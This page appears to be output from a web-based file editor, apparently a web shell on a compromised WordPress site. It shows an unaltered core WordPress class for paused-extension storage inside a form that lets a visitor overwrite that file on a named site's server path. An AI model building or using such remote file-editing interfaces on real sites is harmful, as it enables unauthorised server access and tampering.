<h2>File Contents: /home/planet5/www/yanhuanghealthcare.co.uk/wp-includes/class-wp-paused-extensions-storage.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/yanhuanghealthcare.co.uk/wp-includes/class-wp-paused-extensions-storage.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Error Protection API: WP_Paused_Extensions_Storage class
 *
 * @package WordPress
 * @since 5.2.0
 */

/**
 * Core class used for storing paused extensions.
 *
 * @since 5.2.0
 */
#[AllowDynamicProperties]
class WP_Paused_Extensions_Storage {

	/**
	 * Type of extension. Used to key extension storage. Either &#039;plugin&#039; or &#039;theme&#039;.
	 *
	 * @since 5.2.0
	 * @var string
	 */
	protected $type;

	/**
	 * Constructor.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension_type Extension type. Either &#039;plugin&#039; or &#039;theme&#039;.
	 */
	public function __construct( $extension_type ) {
		$this-&gt;type = $extension_type;
	}

	/**
	 * Records an extension error.
	 *
	 * Only one error is stored per extension, with subsequent errors for the same extension overriding the
	 * previously stored error.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension Plugin or theme directory name.
	 * @param array  $error     {
	 *     Error information returned by `error_get_last()`.
	 *
	 *     @type int    $type    The error type.
	 *     @type string $file    The name of the file in which the error occurred.
	 *     @type int    $line    The line number in which the error occurred.
	 *     @type string $message The error message.
	 * }
	 * @return bool True on success, false on failure.
	 */
	public function set( $extension, $error ) {
		if ( ! $this-&gt;is_api_loaded() ) {
			return false;
		}

		$option_name = $this-&gt;get_option_name();

		if ( ! $option_name ) {
			return false;
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		// Do not update if the error is already stored.
		if ( isset( $paused_extensions[ $this-&gt;type ][ $extension ] ) &amp;&amp; $paused_extensions[ $this-&gt;type ][ $extension ] === $error ) {
			return true;
		}

		$paused_extensions[ $this-&gt;type ][ $extension ] = $error;

		return update_option( $option_name, $paused_extensions, false );
	}

	/**
	 * Forgets a previously recorded extension error.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension Plugin or theme directory name.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $extension ) {
		if ( ! $this-&gt;is_api_loaded() ) {
			return false;
		}

		$option_name = $this-&gt;get_option_name();

		if ( ! $option_name ) {
			return false;
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		// Do not delete if no error is stored.
		if ( ! isset( $paused_extensions[ $this-&gt;type ][ $extension ] ) ) {
			return true;
		}

		unset( $paused_extensions[ $this-&gt;type ][ $extension ] );

		if ( empty( $paused_extensions[ $this-&gt;type ] ) ) {
			unset( $paused_extensions[ $this-&gt;type ] );
		}

		// Clean up the entire option if we&#039;re removing the only error.
		if ( ! $paused_extensions ) {
			return delete_option( $option_name );
		}

		return update_option( $option_name, $paused_extensions, false );
	}

	/**
	 * Gets the error for an extension, if paused.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension Plugin or theme directory name.
	 * @return array|null Error that is stored, or null if the extension is not paused.
	 */
	public function get( $extension ) {
		if ( ! $this-&gt;is_api_loaded() ) {
			return null;
		}

		$paused_extensions = $this-&gt;get_all();

		if ( ! isset( $paused_extensions[ $extension ] ) ) {
			return null;
		}

		return $paused_extensions[ $extension ];
	}

	/**
	 * Gets the paused extensions with their errors.
	 *
	 * @since 5.2.0
	 *
	 * @return array {
	 *     Associative array of errors keyed by extension slug.
	 *
	 *     @type array ...$0 Error information returned by `error_get_last()`.
	 * }
	 */
	public function get_all() {
		if ( ! $this-&gt;is_api_loaded() ) {
			return array();
		}

		$option_name = $this-&gt;get_option_name();

		if ( ! $option_name ) {
			return array();
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		return isset( $paused_extensions[ $this-&gt;type ] ) ? $paused_extensions[ $this-&gt;type ] : array();
	}

	/**
	 * Remove all paused extensions.
	 *
	 * @since 5.2.0
	 *
	 * @return bool
	 */
	public function delete_all() {
		if ( ! $this-&gt;is_api_loaded() ) {
			return false;
		}

		$option_name = $this-&gt;get_option_name();

		if ( ! $option_name ) {
			return false;
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		unset( $paused_extensions[ $this-&gt;type ] );

		if ( ! $paused_extensions ) {
			return delete_option( $option_name );
		}

		return update_option( $option_name, $paused_extensions, false );
	}

	/**
	 * Checks whether the underlying API to store paused extensions is loaded.
	 *
	 * @since 5.2.0
	 *
	 * @return bool True if the API is loaded, false otherwise.
	 */
	protected function is_api_loaded() {
		return function_exists( &#039;get_option&#039; );
	}

	/**
	 * Get the option name for storing paused extensions.
	 *
	 * @since 5.2.0
	 *
	 * @return string
	 */
	protected function get_option_name() {
		if ( ! wp_recovery_mode()-&gt;is_active() ) {
			return &#039;&#039;;
		}

		$session_id = wp_recovery_mode()-&gt;get_session_id();
		if ( empty( $session_id ) ) {
			return &#039;&#039;;
		}

		return &quot;{$session_id}_paused_extensions&quot;;
	}
}
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